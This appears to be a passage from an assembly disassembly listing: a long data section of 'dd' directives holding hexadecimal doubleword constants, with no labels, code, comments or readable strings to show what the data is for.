		dd 0BAD4B04Eh, 8BB19C13h, 40F0BC53h, 14678A94h,	0C7601344h
		dd 0FB02A83Ch, 0C47EA9ECh, 0E9445454h, 7611B097h, 72629780h
		dd 0FE1DC589h, 0BA456BB9h, 0F21273A7h, 0F70610B0h, 382C76FDh
		dd 71C7EA18h, 554B688Ah, 2B2B74DDh, 523D4h, 6613CF4Bh
		dd 0D8007545h, 8CBC2AD6h, 0B45037E0h, 0A9B940DCh, 4701AE4Dh
		dd 0A82F32DEh, 33EDEE21h, 3460B371h, 8D452718h,	52919417h
		dd 808F2585h, 0EF171AEFh, 37D39412h, 606394A3h,	120AAC16h
		dd 800FED68h, 79E07889h, 0B4410284h, 0D0E1ABD1h, 645EE652h
		dd 41C858EBh, 44132E84h, 8EB0D4A7h, 0BA35A196h,	94AD6889h
		dd 6A828D0h, 0CA2C008Ch, 31F4E22Bh, 2A02D5FDh, 3DD7DB0Dh
		dd 0EE6CED24h, 407B2687h, 6C64CF33h, 76CE9601h,	0FB2A68A1h
		dd 93C322Fh, 8018355Dh,	26D4F53Ch, 4900DB51h, 0D36B9E71h
		dd 0B52EE784h, 43B8884h, 0B8B59C96h, 81DCDB2Fh,	5F89A264h
		dd 1809887Ch, 0A45B0FACh, 0D435AFh, 22C1D1EFh, 7E07B77Ah
		dd 0BCEC6F62h, 0FC55B501h, 0B27C742Fh, 3019B2C0h, 7D00954Dh
		dd 0A5137815h, 0B3468F1h, 0CEEECA09h, 2637283h,	0B94175F0h
		dd 3E397EF6h, 106F268Dh, 0C52E4787h, 144B7720h,	0C0410009h
		dd 0E875D6B4h, 80AC64EAh, 0B011A833h, 0D4BDFCD9h, 0C5762DE8h
		dd 24081A0Fh, 5FA0C0ECh, 276AFE40h, 50114B89h, 7879D241h
		dd 8B1810D9h, 6D9B0E01h, 5FE19308h, 648D5882h, 3F201605h
		dd 8A88CFh, 0AE8ED8EEh,	0A186FE44h, 0CD789417h,	7BC84CCBh
		dd 69214DC0h, 0F4120074h, 685DBDE1h, 614FE59Ah,	85A8E451h
		dd 10E5D924h, 47D5A888h, 0ECCA7401h, 78731022h,	2A3074B2h
		dd 0D96D124Ch, 0CD088463h, 1D688820h, 0D88424Ah, 3C64A100h
		dd 0CAC4A38Dh, 13300E5Ah, 4D11EFDh, 702E4F9Ah, 4AA21694h
		dd 0DB3E5CB4h, 0D4DD58C1h, 447E2AEDh, 95EBE48h,	619C71B6h
		dd 8083E124h, 7495AFC1h, 9FA82894h, 32365C41h, 300BF274h
		dd 5A009418h, 4080FFF9h, 1A685D9h, 0E3D616A7h, 42AC15B2h
		dd 705CE2F4h, 70AC7B49h, 81B75035h, 0C1569488h,	0AB29063h
		dd 212A30h, 0C640FCF6h,	4813B759h, 0D4F0B872h, 94E0E04Ah
		dd 81448B6h, 0EFDAA205h, 28E8063Eh, 0E200491Bh,	0BBAD204Ch
		dd 458A7Dh, 0D2CC7A11h,	241C9DBAh, 81E9E712h, 90236CE1h
		dd 75304AA2h, 2014B8A2h, 0CF02479Dh, 6A24D6BCh,	279C50DEh
		dd 147104D2h, 4147860Ch, 28420080h, 3C9FC18Eh, 8F01ED03h
		dd 71FBFAD2h, 908646D8h, 6030A841h, 0FC12814Ah,	0F64E40B7h
		dd 0B239A14Ch, 8942ABC5h, 0D0205598h, 19FCD21Eh, 139B0C80h
		dd 3B71F808h, 192368h, 12E9A066h, 99072E21h, 0D723CF1Ah
		dd 518A89DCh, 40783C96h, 505EF20h, 5CF29FCAh, 800538ACh
		dd 4ECF9A18h, 0C500BD98h, 1DA53E9Fh, 3797h, 56AC81FEh
		dd 990439E5h, 6A3D7308h, 88EAA601h, 0EF788A18h,	0C20050B6h
		dd 4421F0B3h, 74AF5CBDh, 8F745E09h, 1DDCF47Eh, 80D0E5E4h
		dd 0A02F49BBh, 5E258F64h, 0F42CE059h, 68B98409h, 78187459h
		dd 0A1F67B04h, 4AC5F06h, 0B819C812h, 4AF5B240h,	0DC1C7494h
		dd 0E2FBA200h, 0F7B0F2A7h, 74A89C0Fh, 45077546h, 60E06FDBh
		dd 15A7CC2Ch, 0A96A8613h, 4AB97088h, 0B294E398h, 61BA307Ch
		dd 4330700Eh, 0E3860040h, 3CD9046h, 0D7C7068Bh,	0FC90AF8Fh
		dd 34F89F3h, 961220F6h,	0AD4BD91h, 0F40308BBh, 28E22640h
		dd 64CE9522h, 0A52EA81Ch, 888B08D3h, 8EC01988h,	10D7D3Ch
		dd 68F28BE5h, 2453B58Ah, 5055EAF8h, 0F4DB3BB4h,	0F5680780h
		dd 1B012BEDh, 0DCDE192Eh, 0AD04457Eh, 0BC4F881Ch, 4F916A13h
		dd 5E02AF68h, 0FC5E0D8Ah, 0FFA77D00h, 4C3ACCB0h, 63229890h
		dd 0E0A63B00h, 0F4446D36h
		dd 0BECD0179h, 0C7E2FE9h, 681F2E97h, 0A072D843h, 542E9218h
		dd 581247FCh, 9F186025h, 86F41364h, 0AE0E4D4h, 9565A080h
		dd 842028E6h, 0B4274E0Dh, 4200CA2Ch, 5B62E717h,	69B472h
		dd 1335E632h, 548F02E3h, 0D4F30C25h, 4FD2126Bh,	0DF019094h
		dd 35B8DAA5h, 3C002B00h, 0E2F83ED6h, 0E27A4ADEh, 5A651078h
		dd 539EA180h, 9417B4F2h, 5C203E4Dh, 4C1E4CACh, 853CA260h
		dd 20047450h, 6400168Bh, 40AD5491h, 98217A0h, 7644B841h
		dd 494E7884h, 1C707A3Fh, 806AF3A9h, 0BF878691h,	2C00BEAAh
		dd 0EE6B69E3h, 2594BDEFh, 94729075h, 70E53925h,	0A6134490h
		dd 44968528h, 1512DC10h, 1FC04E26h, 0BAF832C0h,	88224CE0h
		dd 2515E080h, 10507D9Dh, 13BC4052h, 0F8E130CAh,	406182CCh
		dd 0BD01755Eh, 0DE248FDAh, 0E99D8AF4h, 7A4A491Eh, 28593029h
		dd 292AA1BDh, 19137198h, 7A7B1F4h, 0E20FBF70h, 0AA0934F8h
		dd 0B64AF86Fh, 0D62414ACh, 72C69FE4h, 251846D5h, 44E2EBB6h
		dd 465E1456h, 90FD134Ah, 488D7004h, 1B36A002h, 44B777h
		dd 0ACB7BC82h, 1001A4C8h, 2461E2CBh, 202F3AF4h,	582FB228h
		dd 0D34A7703h, 0C869053Dh, 1A7B063h, 9E421B0Eh,	2AF2ED28h
		dd 0A07970D9h, 9F026DA8h, 0DD244758h, 42885E83h, 0B571C09h
		dd 61846DE4h, 203C8F1Ch, 9257BB0h, 0AE40CD7Ch, 10465684h
		dd 0E70DC204h, 3130F856h, 7EFC08B4h, 0BC28132Eh, 8C11EC70h
		dd 0B5854800h, 0A7DC32D7h, 0B404E6CAh, 95F83B24h, 30F9C0C2h
		dd 9E187BD9h, 94D3Bh, 0FCEC4445h, 1D8FF5Bh, 0DE0686FDh
		dd 0A47E4FA7h, 70256809h, 10DD6178h, 0E8FCABB7h, 57099F15h
		dd 5CF80A24h, 10E5599Ch, 2275708Ah, 60BE7FEFh, 2D1012DCh
		dd 800C0856h, 0A19B1781h, 3034CAE2h, 279A30FCh,	0DDFF4C80h
		dd 9D30418h, 921BB610h,	75720008h, 0A624DC44h, 0D40A3E6Eh
		dd 0D0362033h, 410465Eh, 0A7185FB2h, 504427FAh,	0AFF2CF47h
		dd 0E2993400h, 507A6053h, 4010038Fh, 20515E26h,	0F427FEECh
		dd 772235A0h, 6B71008Eh, 3ED22450h, 0E10E5AECh,	8D23FB68h
		dd 6040F184h, 5B185E7Fh, 0ACA03445h, 838813B0h,	5023283Eh
		dd 1141B400h, 66468ABh,	0E2A5CB31h, 949561B0h, 1AE8245Ch
		dd 5467C6Ch, 5B4F8600h,	9994715h, 0D27B20B0h, 617E9C81h
		dd 0D261A1E8h, 14CE8F3Dh, 0ADDE1D23h, 6E7B0491h, 0A996A001h
		dd 68866B8Eh, 590E27B7h, 47D12F03h, 0E81E8422h,	178F5FE1h
		dd 40960h, 705A6415h, 225ADC66h, 0FD448800h, 0F9F38E2h
		dd 2324153h, 823E24h, 1E90E757h, 0BAD103A8h, 2420D79Fh
		dd 15FF18A0h, 19A46650h, 13941E40h, 92760A91h, 70E967FCh
		dd 0E74C2635h, 3B4F64A0h, 269E208Ah, 7D0C1090h,	0B9495ADCh
		dd 0D4670AFFh, 42881CF2h, 0B605666Ah, 2B004AFh,	0D786007Ch
		dd 0C4A8CD6h, 67FE45C1h, 948019A0h, 9F872778h, 0E60014D1h
		dd 6A232E20h, 9B283888h, 3F37E089h, 8BD5E0C2h, 0A7A85604h
		dd 0B2784CF3h, 786E77CEh, 0BF8C1EFEh, 644467B6h, 2304A02h
		dd 8291A678h, 844EACh, 0B171A790h, 4180AA04h, 82C0B6B4h
		dd 17C87B2Ah, 0B6560869h, 22E6E040h, 0B6911295h, 0C184BD66h
		dd 635EA196h, 498742Eh,	66B4684h, 951183Eh, 45ED8B06h
		dd 74F2B422h, 0C6950C58h, 93CC0468h, 49172042h,	0D66C7C09h
		dd 0C8166009h, 0AD687165h, 0C2717073h, 4B5AE020h, 0B849D1Ah
		dd 0C04F8828h, 7E0E2D76h, 32D6B903h, 0B743DF0Dh, 233A1CE4h
		dd 531A094Ah, 0A884A471h, 80B10CD2h, 1BD42C61h,	0B5627308h
		dd 13C144EDh, 0A34764C5h, 0A30D2812h, 0E870DEC4h, 724A03E6h
		dd 0C40095F7h, 86D16D5Fh, 0F09F2105h, 0B2C40841h, 4D233C2Eh
		dd 0EACCC101h, 0F02223B6h, 1E77DA00h, 0A7F7A801h, 0B744E801h
		dd 9EF935CDh, 5E2FA9E9h, 9268C580h, 0FE88E0C1h,	1F833E10h
		dd 14AD1A3Fh, 0E0541083h, 5647913h, 0C094F892h,	0C90E0900h
		dd 405E4C11h, 0BD902440h, 9BB101D0h, 708E9C5Eh,	49C8B044h
		dd 259A688Fh, 38CE777Dh, 581510B0h, 68B187h, 0A58B4B48h
		dd 7B89CC2Ch, 0E9F0295h, 1E2672DCh, 2842FC62h, 7449047h
		dd 0BBE51D60h, 49D2C26h, 12FF6A17h, 0DE2020E7h,	82B55ED4h
		dd 5D516C20h, 58456CBAh, 976304C4h, 3A0622E0h, 8DE04103h
		dd 2F679FB0h, 48973EEEh, 41800C91h, 0E0B517D0h,	0DA989958h
		dd 389C83C1h, 56978A6Eh, 54D6529Ch, 15EC2481h, 9F236B7h
		dd 465E9474h, 280F1D0Ah, 5650C725h, 0E4E6085Ah,	0BD4966B0h
		dd 7B02B4EAh, 6A4D21A3h, 0A037D590h, 21B6053Fh,	1CB8BDDEh
		dd 0DAF4DC4Eh, 6F9D0973h, 2EE1407Ch, 0E04E23E3h, 13D385Ch
		dd 4F47B3E6h, 0B822F2A0h, 8C21185Ch, 407C6DAFh,	9144FFE7h
		dd 0F1AE8B01h, 27897B78h, 0AF00387Dh, 460C70CFh, 0CDE09EE9h
		dd 1291D601h, 0FF8FD434h, 6B7FB961h, 3D0523B8h,	0E11B380h
		dd 0BCDA4B38h, 9CB5D605h, 80408C3Eh, 2B1A2F81h,	2E5E2AAh
		dd 10BE8ED5h, 0BA57CC89h, 60FC4D94h, 819B4353h,	0A4C2C45Bh
		dd 0AFE85CA7h, 0AEB928B7h, 8A92189Ch, 0E9B57CBCh, 1D87A888h
		dd 81B1C4F2h, 0FCE00D97h, 0CCC03EBEh, 4B86FF4Fh, 60D4B3ADh
		dd 916E9408h, 0B618C1B7h, 0DF2E18A0h, 0B55920A6h, 6E3F1858h
		dd 0AB60B9h, 5BFD1B6Ah,	30E2F0B0h, 78BC0A00h, 0F2E78C47h
		dd 89BA2DC7h, 5F754D0h,	0D0CC0017h, 4909774h, 6B3E9EA1h
		dd 0D195A5AEh, 5C922730h, 0EAC46740h, 2E0DC10Fh, 7168C03Ch
		dd 134F543h, 970A7D82h,	6B784E89h, 0FC09F013h, 2F18F42Dh
		dd 0F4C11CEDh, 172FDDD3h, 0B24CB330h, 0B785300Bh, 2D023B07h
		dd 99C0C32Ch, 5BF28994h, 0C988F476h, 83199F12h,	20B8D0BDh
		dd 50E98B2Fh, 25883BB0h, 0BCFDAB92h, 0F2A70B6Ch, 5EF0E070h
		dd 84A12C6Ah, 0C81E41C0h, 306F7B0Ch, 0A08E3400h, 6801DE07h
		dd 0F0FB90AAh, 7A686070h, 0ECEF265Ah, 1E9F02D4h, 94FCA28Ah
		dd 6008A097h, 4CE5A58Bh, 49604CE4h, 0C805A7B0h,	0A915F423h
		dd 6F96C4F8h, 0D21277C0h, 34BC4FE4h, 35B9AB80h,	0A800165Ch
		dd 46C98F9Eh, 11D86Ah, 2D2A9FF8h, 0DDDA3132h, 0CD035327h
		dd 8351C274h, 0B5279C65h, 6F8F0E58h, 8DC2D89h, 0B037C141h
		dd 18297CCh, 4A24BFACh,	0D9C6E232h, 48312F63h, 0F1806286h
		dd 423217BBh, 2001C3EEh, 2F748CEBh, 137B37F9h, 927005C4h
		dd 2208A20Ah, 0D1284B66h, 0C4221110h, 0CA00C01Bh, 33EEB510h
		dd 3218AFCDh, 3E6946A2h, 9380F454h, 0D82DDE31h,	98CA0077h
		dd 0A1267AB4h, 545294F1h, 2CDA928Ch, 38555A80h,	150B29E4h
		dd 0E1546F13h, 682C8468h, 28C4EECh, 94430D0Ah, 7474C27Dh
		dd 0D43874E9h, 0DA2DC204h, 0CC1012C0h, 4E492510h, 0B19DDC80h
		dd 59B1CB46h, 56C9F882h, 9CA4E325h, 0A6400618h,	4823DCCAh
		dd 0DC13A04Bh, 30E13C52h, 839CDB3Ah, 0BA5535h, 0C0FA269Eh
		dd 864A319h, 82492269h,	965D270h, 9460105Ch, 805DEEB1h
		dd 4F20041Ch, 7FB1C015h, 8CBBDD64h, 0A6860600h,	0E873A90Dh
		dd 5D94015Eh, 999AEBECh, 0B7E824FEh, 81421739h,	463F43BCh
		dd 0F87C2CDAh, 25B6EF08h, 0B5E3A187h, 8B716FD0h, 86E83DFFh
		dd 11146800h, 9AB216EFh, 4FFC8052h, 7B7768F2h, 0E7B3014Ch
		dd 3E4F3790h, 9EA03022h, 0DA821C00h, 0C9D2C053h, 2EC9EDA1h
		dd 0C76EB031h, 0DE85480Ch, 40B80AFCh, 52919609h, 2FB6E041h
		dd 0C83A1C16h, 22004B23h, 8A64A187h, 0B048B5D9h, 7CEDA506h
		dd 8C7CE864h, 99D8EC00h
		dd 90160C08h, 9B4024F2h, 0FBF401ACh, 20A6CF41h,	5C406D40h
		dd 98F209A8h, 0F8730FEEh, 34EAA604h, 38CF5888h,	125BD2A5h
		dd 0A200AC2Ch, 5524CA80h, 8E007C37h, 0A50CAC14h, 2CB7BF1Dh
		dd 56C0F101h, 0E4F59043h, 59F8848h, 0E79DB941h,	0C02CF4B7h
		dd 1058F604h, 6880D7E9h, 252C34h, 1B8562C3h, 0A093DA45h
		dd 0B4CF4F2Eh, 0D6EA6800h, 18243D9Eh, 0E9998A66h, 8E09D91Fh
		dd 73738FBAh, 1525D8h, 3F807891h, 14809C45h, 0D2B6C913h
		dd 0DD87F8F0h, 2925C69h, 72A5EEBBh, 8A0ED880h, 0E20B7768h
		dd 40A44A04h, 0E93E894Ch, 0ECD26401h, 395EDFCEh, 77883C8Fh
		dd 0E0B6C1C3h, 26CE5C63h, 40EC8651h, 879A8490h,	80AD130Fh
		dd 2AC007Ah, 12A0F6B8h,	0AD6BF581h, 0F0A096D8h,	0BFDD75FAh
		dd 18FC509Ah, 0E3C200D4h, 8F7B782Bh, 9000089Dh,	0AF7C0F95h
		dd 0CAE1243Fh, 9C905771h, 99A842B6h, 18E7710Eh,	456052C4h
		dd 0BE00632Ch, 0D496C551h, 1206881Dh, 8281396Bh, 0D45E3450h
		dd 1E1D01DCh, 0CEBF6FA0h, 0BCEAF811h, 68D77BFFh, 0B97796F8h
		dd 0D1738930h, 0E0201698h, 0B0F0CFC4h, 3021BE01h, 1EE8EA26h
		dd 2F23188Eh, 594CF2A6h, 3C0C69B5h, 501B2711h, 0EDAD15B0h
		dd 3F164500h, 0BE03D20Fh, 0E326062Bh, 0B9863DFEh, 0A0C67300h
		dd 0EE8D51A4h, 11940465h, 0B8BAB662h, 8A7E05D8h, 8C0957BDh
		dd 0C89C93B9h, 2E430DAh, 919540DFh, 1601888Ah, 0C77A2427h
		dd 89B1C7C4h, 800084F0h, 9E579F47h, 1101940h, 4D945DECh
		dd 3BDAFCE0h, 0FCE39884h, 66105E3Eh, 0D8C84B11h, 1724019Eh
		dd 65C1A49h, 40907AA3h,	2DA63FFh, 25D5FCC7h, 0E0686934h
		dd 97E9641Bh, 84447FE9h, 2C99203Fh, 73F8922Ah, 54708A20h
		dd 182B9D3Eh, 0F2C1DCDCh, 60009B4h, 2970D9Bh, 55D86A20h
		dd 4078E0A4h, 46B99D14h, 86358070h, 77E56A10h, 0D013F84Ch
		dd 28BC0BF6h, 0A99AE848h, 10126C74h, 0ECD03E1Dh, 0C7BD12h
		dd 88A53F2h, 5A89225Bh,	3902A47Dh, 488D8087h, 0CE0D49Fh
		dd 0E1D9599Eh, 5BA93C25h, 0F4C52FB4h, 0A1674C64h, 605C4037h
		dd 0B1C2F0DCh, 472704D8h, 6004C4F8h, 4D3CD43h, 54B6FD6Fh
		dd 0D013ABD0h, 0C9B890B9h, 0FFD38501h, 3F5DEA40h, 6B00C16Eh
		dd 90092A25h, 0DC007473h, 0A0F40FEh, 0CE244901h, 64572BB6h
		dd 42CE2048h, 0F91E6525h, 180CF184h, 6DDD0372h,	5FA71912h
		dd 68D6119h, 0D40183C0h, 709F6B01h, 39C06C90h, 0E9DDD958h
		dd 15400D04h, 5D406186h, 6477E436h, 12FD9004h, 3CA89BF6h
		dd 0BD708C20h, 9262C112h, 7A8CCADh, 2CE8008Ch, 18AD2D26h
		dd 669514B4h, 406894C8h, 47ACD452h, 0B2701400h,	942F895Bh
		dd 0BCEF4801h, 4F5110h,	953DDFCFh, 0CE405816h, 1E96E008h
		dd 8F1932F3h, 465E2454h, 274B7173h, 85008C5Eh, 8724449Dh
		dd 0A7B00086h, 3E03F451h, 0B65F963Dh, 3E238F6h,	8B188477h
		dd 88D8B212h, 0D4F0A756h, 6C743109h, 25DC714Ch,	14789853h
		dd 8F2E0994h, 0C856FE93h, 6273D660h, 0A89716A4h, 8888CD7Dh
		dd 0B228391h, 305C9D1Bh, 545A0DE2h, 16467680h, 9481C600h
		dd 0BCD23734h, 592DDDE0h, 425471C8h, 0C5091A78h, 6013E4CCh
		dd 3089F698h, 0B7B885BEh, 0A5E99B08h, 171C6061h, 12EA4BB2h
		dd 7810B15Ch, 8C13BC08h, 835AFA00h, 302402D8h, 4CF158E7h
		dd 0ED8A4A02h, 0C8A3893Dh, 0EAC07671h, 0C839A6FFh, 0B25C8227h
		dd 0D73F1B13h, 55D08822h, 0AC3C8209h, 44F92B08h, 6048CDA7h
		dd 0B425A12Ah, 351C5BFEh, 0B87930D2h, 74606B44h, 0E2681200h
		dd 0B196092Ch, 2F3CFC2Ah, 4E13AC98h, 0E5CD4C1Ch, 542FC9C0h
		dd 19F6129h, 15FB4DDCh,	2C91238Ah, 849B4B80h, 0C6FACE80h
		dd 0FB007814h, 0F423A833h, 98F6919h, 94CF156h, 8090B755h
		dd 0BFE32A0Ah, 411C5F0Fh, 102764C0h, 4102A98Ch,	88826E6Ah
		dd 6C645567h, 0F08F2F03h, 0F8D9EF91h, 0B05F2D27h, 7C770162h
		dd 4FAE7548h, 0B48D6AD1h, 0F4D7DC68h, 0DF023C20h, 4DE34F2h
		dd 950450E3h, 4D97E846h, 0FE0FC08Ch, 0E8258AB3h, 4870C4DDh
		dd 596E5B16h, 450028Bh,	0DC2094h, 0D0E947C5h, 921E9F2Eh
		dd 2009DE4Fh, 2D8C71B6h, 4A786C5Bh, 0F47E1D62h,	1816A0FEh
		dd 10E25A9Fh, 0B070D109h, 73A7B873h, 5CF150F4h,	5DC26800h
		dd 779E330Dh, 0D4E01484h, 0A65E984Fh, 7700F794h, 36228F8h
		dd 33CB6590h, 0C1AE8638h, 8873C300h, 0F3DD2707h, 19E02C6h
		dd 9BD7DAE3h, 0D660D45Ch, 6B404Ah, 1C969E78h, 72C8D264h
		dd 0D5443A9Dh, 0AD0070B5h, 8F1A0943h, 0B18D0455h, 0C0FEAF48h
		dd 0E7A6CFB8h, 0EB730627h, 0FAEE488h, 0E22FD38h, 0C08026F7h
		dd 0F15DFCC9h, 0A019B722h, 0BDBF95Dh, 4869EC35h, 9217C801h
		dd 0B4243F23h, 6265B481h, 92557402h, 18B757D4h,	1051B100h
		dd 30968E5Eh, 74891AB7h, 47B87A58h, 0E900A4B1h,	0CDC31569h
		dd 89EB0D03h, 2A510687h, 1CC0C0C8h, 40A8BC79h, 0E407052Fh
		dd 0DF0339CCh, 273F5028h, 297F1Ah, 68A1BAE5h, 9E5563F4h
		dd 5178DE8h, 0C0C80C7Ch, 71100015h, 0D53DB52Ah,	6203F3DEh
		dd 0FECE4927h, 0EAC0CF93h, 2B69497h, 657A844h, 5048A5C6h
		dd 720B5CB8h, 5E8F03A2h, 0EE00DCB8h, 324695DCh,	54D9E9Fh
		dd 0FBBC0818h, 0F4C9C4B6h, 0F40016B4h, 9E073346h, 4C369C1h
		dd 0A23EA094h, 0FC3FFBDAh, 98007123h, 0D2A77A63h, 0A4114A78h
		dd 4B40ADB0h, 9F8B01CFh, 47E16694h, 3C952B3Fh, 0D23E03Ah
		dd 0C5584001h, 5EEE708Ah, 0C8B76408h, 400D828h,	1A7B863Fh
		dd 0E06DD426h, 0BDD50036h, 0EF9B90C6h, 970110D8h, 0CBF5F3FCh
		dd 9B7BB5D3h, 0ED5F80D8h, 0B39A9BDh, 3EA66569h,	0C88AF010h
		dd 72F40900h, 0EC4C609Fh, 0A96B395Dh, 0DA5B8889h, 314DB856h
		dd 810C9B3Bh, 42B778CCh, 127A80D8h, 0F2A06532h,	8B278834h
		dd 14717686h, 16106A08h, 0EB7CBC4Fh, 23582ED3h,	0B61C73h
		dd 0CFC51BB5h, 0F24FA64Ch, 9A50A4D0h, 0AB04F505h, 83ED8029h
		dd 0F30C7107h, 0AC2C0447h, 205B413Ch, 47F4A94h,	46D67CBEh
		dd 3A1E0007h, 973C69FEh, 800E27A9h, 3C3664C9h, 10DB5F94h
		dd 0BAE63780h, 955A146Ah, 50A218F6h, 16B6E230h,	14F9154h
		dd 0D2A85671h, 2607C48h, 571E2242h, 5B5C5080h, 8028C5E8h
		dd 0FD63CED8h, 4887C89Eh, 41C486D4h, 568080C2h,	1895EB2Ch
		dd 168B4D91h, 0F056928Bh, 0C3B0026Bh, 94B8D70Dh, 0D01254F0h
		dd 4CE361E1h, 80D6240Ch, 970B14A1h, 517F1B9Ch, 184FD9E4h
		dd 5A6A0977h, 645C09E6h, 465C0CEAh, 0D28E0006h,	0A91A9AB9h
		dd 18CB985h, 0BD408B64h, 0FADA61CCh, 50791C51h,	91003718h
		dd 470828E7h, 79D8A7Ch,	0FCF20420h, 870BAB93h, 0A1122C76h
		dd 2F7B54E2h, 1042516Ah, 1FA489D5h, 80759164h, 0AC5A3489h
		dd 5F907121h, 0A2A84085h, 0A8D719B4h, 61F0F900h, 0F3A33D05h
		dd 0ED5E2C4h, 0BB649AFBh, 15288D02h, 84B57F00h,	7782006Fh
		dd 0DCEF9FA0h, 0BA277A9Dh, 0D108D935h, 569184Eh, 8B54CAC2h
		dd 640FEBF5h, 589444E0h, 0AAC9CE9h, 0E4FC008Ch,	0B5BE3966h
		dd 6A24EC95h, 94089C1Eh, 985925EFh, 3ADFFD80h, 0E43FAF92h
		dd 0D0209FB7h, 8706111Ch, 0D2AB2C00h, 0BE3AE3FFh, 0F06E0463h
		dd 0DB8D447Ch, 0C005884Ch, 0A2C154DCh, 0DE0550Fh, 0A94A0960h
		dd 40F8FC8Ch, 6A957904h, 0C2B9210Bh, 67BC5C44h,	845C6B05h
		dd 0B4548A51h, 0EEB8E8A9h, 48B62405h, 0E0FC6530h, 27C57E7Fh
		dd 0DC6D7B2Ah, 0E09380C2h
		dd 0BCD8F206h, 0F6AE01C4h, 6B640289h, 1CB75C12h, 851C9A4Bh
		dd 0F0ABF0h, 0F1E89919h, 1B180Ah, 0E881ADFCh, 0F894CA4Ah
		dd 0D5059C79h, 33D1E41Eh, 98E2F874h, 6E3012B2h,	0E1242529h
		dd 0FC643429h, 9C8B2D00h, 99DE562Ch, 849F3D6Eh,	0E0DC3800h
		dd 0A1ADF7D1h, 888C794Bh, 12DF05FFh, 0C40CAC19h, 0C88CAD50h
		dd 5F878AD0h, 3E00BEF0h, 51728B65h, 9316F26Fh, 0A0E2948Ah
		dd 3704DD04h, 0A8971C0Bh, 0F0B1A817h, 9D5420h, 15194538h
		dd 1F2041A0h, 0C0006D9Fh, 14440CFBh, 0B1CAD58h,	5CE253A0h
		dd 1346F684h, 0C48E5100h, 35595FEFh, 0A844CD01h, 706B282Fh
		dd 0BA04C42Bh, 9D01A06Bh, 6655B9Fh, 64CB2ADFh, 6CC013C8h
		dd 4258E94h, 74E85C71h,	5BFCC7F4h, 9E8A7CE0h, 0A69F88BEh
		dd 120F9408h, 70C000EFh, 3ECC5032h, 80AC6D48h, 0A45DAB75h
		dd 0E5FB0038h, 30696A8Dh, 39E60C99h, 0A8378B09h, 56E40B14h
		dd 1512DEA4h, 7413B2F6h, 140038E2h, 4A95EAE8h, 5E1676FBh
		dd 0D03E23Ch, 1F54946Eh, 0ED99F668h, 0ED6F800h,	0D87C6091h
		dd 0DD709A7Ch, 0DCF3115Bh, 7A304EA2h, 431C0068h, 72504D0Bh
		dd 34945FE9h, 0C5841709h, 6013E4E0h, 30B214C9h,	0C7B05086h
		dd 2C99B6AFh, 5B8D6201h, 0DECC2D36h, 4EA600D6h,	0AEF3E946h
		dd 0B8040478h, 8F52A9E4h, 0C5070F8h, 1D97228Ah,	9EE87760h
		dd 258E896Fh, 1C5C4699h, 0E4A71862h, 414CBE6Ch,	0F0FEAE1Ch
		dd 0B60033AFh, 6F7EBCD2h, 30F450Ch, 0EF636B9h, 65CFE276h
		dd 0A87ABFC0h, 4CA20700h, 8CA9210Dh, 4DE83A7Eh,	4CD11491h
		dd 90F2DC19h, 7A43F58h,	72B19D38h, 0A264C81Bh, 2C69E9DBh
		dd 60097E8h, 73751442h,	2FDDCE1Ah, 60D98096h, 8D213503h
		dd 682DFA08h, 1C6D88Ch,	0CAA58FAFh, 67101A60h, 409F01F8h
		dd 627BB6D4h, 8E202C2Fh, 0C16BD641h, 0DACBE120h, 86F098D5h
		dd 31DD64h, 9C3CB2F1h, 0F80C4B3Ah, 0C2908C46h, 8EC9005Bh
		dd 0A95019E0h, 80B4EF33h, 105465Eh, 0ED2867C8h,	0E0D0D5D1h
		dd 6200B839h, 9F57816Ah, 98F498E0h, 8D6E1609h, 283257A0h
		dd 512D5476h, 50080008h, 26455CF1h, 71F28A25h, 0E2248BC8h
		dd 73123044h, 0DCE364D1h, 0A88CE94Ah, 13BB7F8Ch, 0C81AA1F6h
		dd 0DA00D324h, 63AC0EEh, 13BF702h, 0FB11D5CBh, 41F66D44h
		dd 6BDCC6D6h, 0F4FAA009h, 0A8789440h, 0C071A925h, 26202188h
		dd 2AE1D50h, 46658A7Eh,	9BC2E57h, 89A000D5h, 17A67B4Fh
		dd 858D6A80h, 0CC48AAF4h, 0EA46845Ah, 0F0B4F1A0h, 895F6671h
		dd 5D94ECC2h, 640EE464h, 0E5EBC6B3h, 58FC16A8h,	0EBCF4D12h
		dd 9B08A001h, 0A8004BE9h, 0F85AE4F2h, 80B0FC80h, 40D61DBDh
		dd 95474198h, 10843E4Dh, 3D333137h, 9E80346Fh, 0EEB4B344h
		dd 91BFBA51h, 0E02A76ECh, 94800F28h, 0BFF27C99h, 3FAA3068h
		dd 4635582h, 83718813h,	9F7F9020h, 92554B5Fh, 681185CCh
		dd 8ABD1020h, 5888BCFEh, 92DA0021h, 9CB84073h, 426CC995h
		dd 20CA215h, 0DF4A5D6Fh, 110DE035h, 0E6E42FD8h,	0A5A9BCC0h
		dd 687CEA2Dh, 45B6480h,	0B19308D6h, 0CC89157h, 0F0B62A54h
		dd 16157910h, 0A0D06B06h, 13BAA6B4h, 0E0C0DAB2h, 4F902A8h
		dd 2176AC81h, 0A240C304h, 8B54E4BCh, 0E9661140h, 3CDBB1AFh
		dd 1F2E3F70h, 53833BCBh, 2750A4E4h, 4F491760h, 7C0AF8Ch
		dd 0A4796EB4h, 89D2E7DCh, 0BA09CCF0h, 7090774Fh, 10ED9FCCh
		dd 4680E8C5h, 5C4EB9CFh, 2E0DFC09h, 0FC811828h,	0F307E0BBh
		dd 3F7E6D29h, 0FCF2A5F0h, 22288109h, 89760060h,	0BC9FF641h
		dd 0DF6607C1h, 99E0DA1Dh, 0C5241A57h, 620BC4BCh, 4504043h
		dd 383A416Fh, 71C42540h, 9E40E044h, 9A128045h, 440FB3D6h
		dd 10F8D45Bh, 221666B9h, 0F8A8A8DFh, 104A8C4Bh,	8B0054A2h
		dd 0A8DF3607h, 1C9E1E75h, 53B873E9h, 27423090h,	35AF302h
		dd 0E6948A2Fh, 0DCEA14E0h, 0CC4AA8F9h, 2C3B9FACh, 19A81FE3h
		dd 16200806h, 0ACD2F108h, 0D71990h, 0AB3DD6BCh,	0ED30C5Eh
		dd 528F94B4h, 0FB84307Ch, 79B70D56h, 590466D4h,	9A258C2Bh
		dd 0D6251C71h, 0A407DC1Ch, 56A04C1Eh, 0CDA7A03Eh, 9A46F4DDh
		dd 4F449840h, 0E7A4B636h, 79D83DBh, 2E85BFF6h, 416D482h
		dd 0C4CAAABAh, 45B3810h, 0F6A4D2A8h, 5ED838ABh,	354E949Ah
		dd 3AB0F4A6h, 130FD2C8h, 0C0908D77h, 56A996F9h,	10249A75h
